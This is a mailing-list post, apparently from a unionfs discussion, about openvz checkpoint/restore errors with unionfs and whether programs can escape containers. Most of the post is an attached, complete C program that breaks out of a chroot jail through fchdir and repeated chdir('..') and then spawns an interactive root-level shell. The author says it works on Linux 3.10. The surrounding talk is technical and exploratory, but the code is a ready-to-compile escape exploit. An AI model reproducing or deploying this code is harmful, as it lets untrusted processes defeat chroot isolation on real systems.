> Then how does the "openvz checkpoint/restore" get the opened file?
This is the kernel part of the checkpoint/restore which saves/resores
an application open descriptors. I just checked a openvz 2.6.18 with
unionfs v1.4 The same problem while a message is differ:
Setting up checkpoint...
suspend...
dump...
Can not dump container: Invalid argument
Error: d_path err=-22
Checkpointing failed
My appologies, sorry. Currently a kernel versions of union fs are no
more then a complex version of the "mount -o bind". which perform the
same. This is my conclusion after more reading about eacaping from
container. You can tottaly ingnore my message.
PS: Attached program can escape from a chroot even with a linux kernel
v3.10 But don't work on FreeBSD quite long ago. A program can not
escape from a openvz container which may be considered as chroot on
steroids. A current linux versions of union fs are still not a "mount
-o bind" on steroids:
"It has to do with the actual (dentry,vfsmount) in kernel-space."
http://www.bpfh.net/simes/computing/chroot-break.html
http://s3hh.wordpress.com/2011/05/31/escaping-chroots/
PPS: I was checked a current version of unionfs (2.5.13) and don't
found a kernel version on which it perform w/o crash (2.6.9, 2.6.18,
2.5.32). Thanks for a aufs :-)
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
/*
** You should set NEED_FCHDIR to 1 if the chroot() on your
** system changes the working directory of the calling
** process to the same directory as the process was chroot()ed
** to.
**
** It is known that you do not need to set this value if you
** running on Solaris 2.7 and below.
**
*/
//#define NEED_FCHDIR 0
#define NEED_FCHDIR 1
#define TEMP_DIR "waterbuffalo"
/* Break out of a chroot() environment in C */
int main() {
int x; /* Used to move up a directory tree */
int done=0; /* Are we done yet ? */
#ifdef NEED_FCHDIR
int dir_fd; /* File descriptor to directory */
#endif
struct stat sbuf; /* The stat() buffer */
/*
** First we create the temporary directory if it doesn't exist
*/
if (stat(TEMP_DIR,&sbuf)<0) {
if (errno==ENOENT) {
if (mkdir(TEMP_DIR,0755)<0) {
fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else {
fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else if (!S_ISDIR(sbuf.st_mode)) {
fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
exit(1);
}
#ifdef NEED_FCHDIR
/*
** Now we open the current working directory
**
** Note: Only required if chroot() changes the calling program's
** working directory to the directory given to chroot().
**
*/
if ((dir_fd=open(".",O_RDONLY))<0) {
fprintf(stderr,"Failed to open . for reading - %s\n",
strerror(errno));
exit(1);
}
#endif
/*
** Next we chroot() to the temporary directory
*/
if (chroot(TEMP_DIR)<0) {
fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
strerror(errno));
exit(1);
}
#ifdef NEED_FCHDIR
/*
** Partially break out of the chroot by doing an fchdir()
**
** This only partially breaks out of the chroot() since whilst
** our current working directory is outside of the chroot() jail,
** our root directory is still within it. Thus anything which refers
** to "/" will refer to files under the chroot() point.
**
** Note: Only required if chroot() changes the calling program's
** working directory to the directory given to chroot().
**
*/
if (fchdir(dir_fd)<0) {
fprintf(stderr,"Failed to fchdir - %s\n",
strerror(errno));
exit(1);
}
close(dir_fd);
#endif
/*
** Completely break out of the chroot by recursing up the directory
** tree and doing a chroot to the current working directory (which will
** be the real "/" at that point). We just do a chdir("..") lots of
** times (1024 times for luck :). If we hit the real root directory before
** we have finished the loop below it doesn't matter as .. in the root
** directory is the same as . in the root.
**
** We do the final break out by doing a chroot(".") which sets the root
** directory to the current working directory - at this point the real
** root directory.
*/
for(x=0;x<1024;x++) {
chdir("..");
}
chroot(".");
/*
** We're finally out - so exec a shell in interactive mode
*/
if (execl("/bin/sh","-i",NULL)<0) {
fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
exit(1);
}
}
------------------------------------------------------------------------------
Want fast and easy access to all the code in your enterprise? Index and
search up to 200,000 lines of code with a free copy of Black Duck
Code Sight - the same software that powers the world's largest code
search on Ohloh, the Black Duck Open Hub! Try it now.
http://p.sf.net/sfu/bds